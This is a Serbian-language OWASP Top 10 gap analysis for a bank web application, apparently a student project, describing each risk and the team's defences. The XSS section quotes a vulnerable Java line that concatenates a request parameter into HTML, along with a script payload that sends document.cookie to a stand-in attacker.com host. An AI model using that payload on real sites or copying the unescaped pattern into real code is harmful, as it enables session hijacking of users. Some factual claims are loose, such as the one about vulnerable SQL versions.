**OWASP Top 10 - gap analiza**

**A1 - Injection**

Napadač ubacuje("injektuje") neželjeni kod u bazu i tako biva zaražena. On tada može videti razne podatke koje nije smeo. Napadač može biti interni korisnik, eksterni korisnik ili administrator. Osim što može da vidi podatke, napadač može da ih i menja i briše. Za naš projekat važni su sql injection i xml parser injection.

Najlakši način da proverimo da li smo ranjivi na ove stvari je da proverimo naš kod. Može i testiranjem ali provera koda je sigurnija i efikasnija. Verzije sql-a koje su ranjive su 5.0 i više.

Pošto koristimo ranjivu bazu, moramo se zaštititi. Koristimo siguran API. Takođe koristimo "white list input validation". Što se tiče xml parser injection-a, tu napadaču ne smemo dozvoliti da nam podmetne neki xml dokument, i tako ubaci nešto u nasu bazu na primer. To se može sprečitii tako što se proverava unošenje xml metakaraktera. Neki od njih su **'** , **"** , **<** , **> , @** itd.

Pomoćni izvori:

https://www.owasp.org/index.php/Top\_10\_2017-A1-Injection

https://www.owasp.org/index.php/SQL\_Injection\_Prevention\_Cheat\_Sheet

https://stackoverflow.com/questions/60174/how-can-i-prevent-sql-injection-in-php

https://www.w3schools.com/sql/sql\_injection.asp

https://www.owasp.org/index.php/Testing\_for\_XML\_Injection\_(OTG-INPVAL-008)

# A2 - Broken Authentication and Session Management

Napadač, a on može biti i čovek izvan sistema a takođe i korisnik sistema, koristi greške u autentifiikaciji i sešn menadzmentu (dolazi do šifre ili sešn ID-a, itd) i tako privremeno ili za stalno krade naloge, menja ili ih briše.

Programeri često koriste šeme za pravljenje ovakvih stvari, što olakšava napadaču da ako zna slabost nekog odredjenog dela lakše udje i u naš sistem. Najviše pažnje treba da usmerimo ka **logout, promeni password-a, forgot password, timeouts, zapamti me, secret question, account update, itd.** Pronalaženje ovakvih grešaka je jako teško.

Jednom kada napadač uspe da ukrade nalog, on može raditi sve što je mogao i vlasnik naloga, zato su česte mete napada "privilegovani " nalazi, kao što su nalozi administratora. Nije problem samo u tome što bi napadač ukrao određeni indetitet, već ako se radi o banci na primer, kao što je slučaj kod nas, može doći i do gubitka novca. Ne zaboravimo gubitak ugleda i štete koju to može prouzrokovati našoj firmi. Da li bi iko više išao u našu banku ako bi se jedan ovakav napad uspešno završio.

Neke od najvećih "rupa", tj ako se ovo ne odradi kako treba:

* Kredencijali nisu dobroskladišteni, nisu dobro kriptovani ili heširani.
* Session ID dostupni u URL-u.
* Session ID nema timeout. Ovo je veoma bitno za naš sistem, budući da pravimo banku.
* itd.

Neka od rešenja se nalaze u OWASP ASVS (https://www.owasp.org/index.php/Category:OWASP\_Application\_Security\_Verification\_Standard\_Project). Takođe se moramo zaštititi od XSS grešeaka koje mogu dovesti do kradje sešn ID-a.

Neki od osnovnih vrsta zaštite su i oni koje mi koristimo, a to su da tražimo određenu kompleksnost u postavljanju šifre, postavljamo timeout sistem, dozvoljen samo određen broj pokušaja logovanja itd.

Izvori:

https://www.owasp.org/index.php/Top\_10\_2017-A2-Broken\_Authentication\_and\_Session\_Management

https://www.owasp.org/index.php/Authentication\_Cheat\_Sheet

**A3 - Cross-Site Scripting (XSS)**

Napad se zasniva na tome da napadač šalje tekstualnu skriptu, i tako napada sistem. Napad se može odnositi na skoro sve delove sistema, pa čak i bazu podataka. On se dešava kada aplikacija treba da apdejtuje web stranicu i može se deliti na "stored" i "reflected" napad. E sad, svaki od njih se opet može podeliti na serverski i klijentski. Serverski se može dosta lakše uočiti, prvenstveno code-analizom i testiranjem, dok je kod klijentskog to mnogo teže.

Naš sistem kao poslovna banka je posebno ranjiv na ove napade, jer naša web aplikacija uzima podatke od korisnika i vraća određene podatke u zavisnosti od unetih, a to je savršeno mesto za ovakav napad. to se može izvesti ovako:

**String) page += "<input name='creditcard' type='TEXT'  
value='" + request.getParameter("CC") + "'>";**

Napadač modifikuje ‘CC’ parametar u svom brauzeru ovako:

**'><script>document.location=  
'http://www.attacker.com/cgi-bin/cookie.cgi?  
foo='+document.cookie</script>'.**

Naša greška je što ne vršimo validaciju i escaping.

Mi smo se zaštitili tako što smo na serverskoj strani eskejpovali nepoverljive podatke, a na klijentskoj tako što smo izbegavali prebacivanje nepoverljivih podataka u JavaScript i druge API-je našeg brauzera.

Izvori:

https://www.owasp.org/index.php/Top\_10\_2017-A3-Cross-Site\_Scripting\_(XSS)

https://www.owasp.org/index.php/Cross-site\_Scripting\_(XSS)#Stored\_and\_Reflected\_XSS\_Attacks

https://www.owasp.org/index.php/XSS\_(Cross\_Site\_Scripting)\_Prevention\_Cheat\_Sheet

**A4 - Broken Access Control**

Korisnici koji nemaju pristup odredjenim resursima ili ne bi trebali da imaju pristup, uspevaju da dodju do njih. Ozbiljan propust koji može dovesti do toga da neautorizovana lica menjaju ili brišu podatke. Kada je u pitanju poslovna banka, takve stvari ne smeju da se događaju nipošto.

Do ove greške može doći u onim delovima sistema u kojima je potrebno prvo znati koji tip korisnika trenutno koristi aplikaciju, pa u zavisnosti od tipa omogućiti određene funkcije.

Kako sprečiti te greške, uvodimo role i permisije. Tj. određenom tipu dajmo tačno određene funkcionalnosti. Ali to nije dovoljno pa svemu mora prethoditi kvalitetno odradjena autentifikacija.

Izvori:

https://www.owasp.org/index.php/Top\_10\_2017-A4-Broken\_Access\_Control

http://www.upenn.edu/computing/security/swat/SWAT\_Top\_Ten\_A2.php

**A5 - Security Misconfiguration**

Security misconfiguration se može dogoditi na bilo kom nivou sistema. Problem je to što napadač može da ukrade podatke, ili da ubaci virus i to sve polako, da mi ni ne znamo da se to dešava. A recovery može biti veoma skup.

Najvažnije je proveriti da li je bilo koji deo softvera "out of date". Pod deo softvera smatramo OS, Servere, API-je, Biblioteke itd. Takođe proveravamo da li imamo nepotrebnih fičera i difolt naloga i lozinki.

Najbolja zaštita je da komponente aplikacije budu dobro razdvojene tj samostalne. I da je dobro podešen automatizovani proces verifikacije konfiguracije.

Izvor:

https://www.owasp.org/index.php/Top\_10\_2017-A5-Security\_Misconfiguration

**A6 - Sensitive Data Exposure**

Tipični napadi ove vrste su kada napadač ukrade ključeve, ili glumi middle-man-a i tako kradu podatke dok su u procesu slanja/primanja ili iz korisnikovog brauzera. Najveći propust koji, u tom slučaju, mi napravimo je to što nismo kriptovali osetljive podatke. Ili imamo slab algoritam heširanja ili preslabe lozinke koje napadač može lako da razotkrije.

Mi kao banka imamo dosta ovih osetljivih podataka, npr.lični podaci od korisniku, njegovo finansijsko stanje, broj kartice itd.moramo posebno obratiti pažnju na ove napade. Kako smo se mi zaštitili od njih:

* Kriptovali smo sve osetljive podatke.
* Lozinke skladištimo uz pomoć algoritama posebno osmišljenih za ovaj postupak(PBKDF2, bcrypt...).
* Naravno, onemogućili "autocomplete" na polja za onus ovih podataka.
* Koristi se HTTPS u komunikaciji.

Izvori:

https://www.owasp.org/index.php/Top\_10\_2017-A6-Sensitive\_Data\_Exposure

https://blog.detectify.com/2016/07/01/owasp-top-10-sensitive-data-exposure-6/

# A7 - Insufficient Attack Protection

Napadač konstantno pokušava da nađe rupu u našem sisitemu, vrši napad za napadom. Sistem uglavnom vidi netačno unešen podatak i samo ne dozvoli unos. Kada napadač jednom probije, šteta može biti ogromna. Može doći do velike količine podataka, a šteta koju nanese banci takođe velika. Jako je teško zaštititi se od ovakvih napada, a da li smo ranjivi je lako proveriti, možemo mi manuelno probati da probijemo ili pustiti neki od pouzdanih skenera da to urade za nas.

Kako se zaštititi? Mi koristimo logove i pratimo ko šta radi. Takođe ako se uoči neko neobično ponašanje, tj da se unose neki podaci koji se normalno ne unesu tu, obraća se pažnja na tog "user-a", i snimamo šta radi.

Izvori:

https://www.owasp.org/index.php/Top\_10\_2017-A7-Insufficient\_Attack\_Protection

https://security.stackexchange.com/questions/157213/how-is-insufficient-attack-protection-a-definite-threat-risk-to-an-organization

# A8 - Site Request Forgery (CSRF)

Ova vrsta napada je jako opasna, napadač napravi lažan HTTP zahtev i tako prevari žrtvu da umesto nama podatke pošalju njemu. Što se tiče napadača, njemu je lako da pravi ovakve napade, jer brauzer šalje kredencijale kao "session cookies" automatski.

Otkriti ove napade nije teško, svakako preko code analize ali i penetracion testing-a.

Mnogi frejmvorci imaju ugrađenu odbranu od CSRF napada, među njima je i Spirng, a mi njega koristimo. Još dva načina na koja se čtitimo od ovih napada su to da ubacujemo jedinstveni token u sakrivenom polju i to da u kukiju koristimo “SameSite=strict” flag koji je podržan u brauzeru.

Izvor:

https://www.owasp.org/index.php/Top\_10\_2017-A8-Cross-Site\_Request\_Forgery\_(CSRF)

# A9 - Using Components with Known Vulnerabilities

Napadač skeniranjem ili manuelnom analizom proverava da li mi koristimo komponentu gde je već poznato da ima propuste. Napadač to lako može raditi i kada je pronađe, može tu rupu iskoristiti da se uvuče u sistem, menja i briše podatke. Svakako da kao jedna banka ne smemo sebi da dozvolimo takve stvari, jer bi finansijski gubici i gubitak kredibiliteta bili neizbežni.

Jako je teško saznati koje komponente imaju propuste, teško ih je naći a još veći problem je što i ako neko nađe propust neće ga uvek prijaviti.

Šta treba da se preduzme po tom pitanju? Konstanto pretraživanje da li su komponente ranjive, i traganje za boljim rešenjima. U međuvremenu treba se vršiti "monitoring" i analizirati biblioteke koje koristimo.

Izvor:

https://www.owasp.org/index.php/Top\_10\_2017-A9-Using\_Components\_with\_Known\_Vulnerabilities

# A10 - Underprotected APIs

Napadač dolazi do koda naklijentskoj strani ili presreće komunikaciju i to koristi da uđe u sistem. Neke ranjivosti API-ja se mogu automatski pronaći, a neke samo stručnjaci. testiranje API-ja se vrši istko kao i u gore navedenim slučajevima, a dobra stvar može biti i korišćenje nekog poznatog formata za podatke, jedan od njih je i JSON koji mi koristimo.

Najbolji načini da se zaštitimo su:

* Napravimo sigurnu komunikaciju između klijenta i našeg API-ja.
* Osiguramo jaku i dobru autentifikaciju.
* Zaštitimo se svih injction napada.
* Parser ojačamo i napravimo ga što otpornijim na napade.

Izvori:

https://www.owasp.org/index.php/Top\_10\_2017-A10-Underprotected\_APIs

https://blog.radware.com/security/2017/04/no-api-security/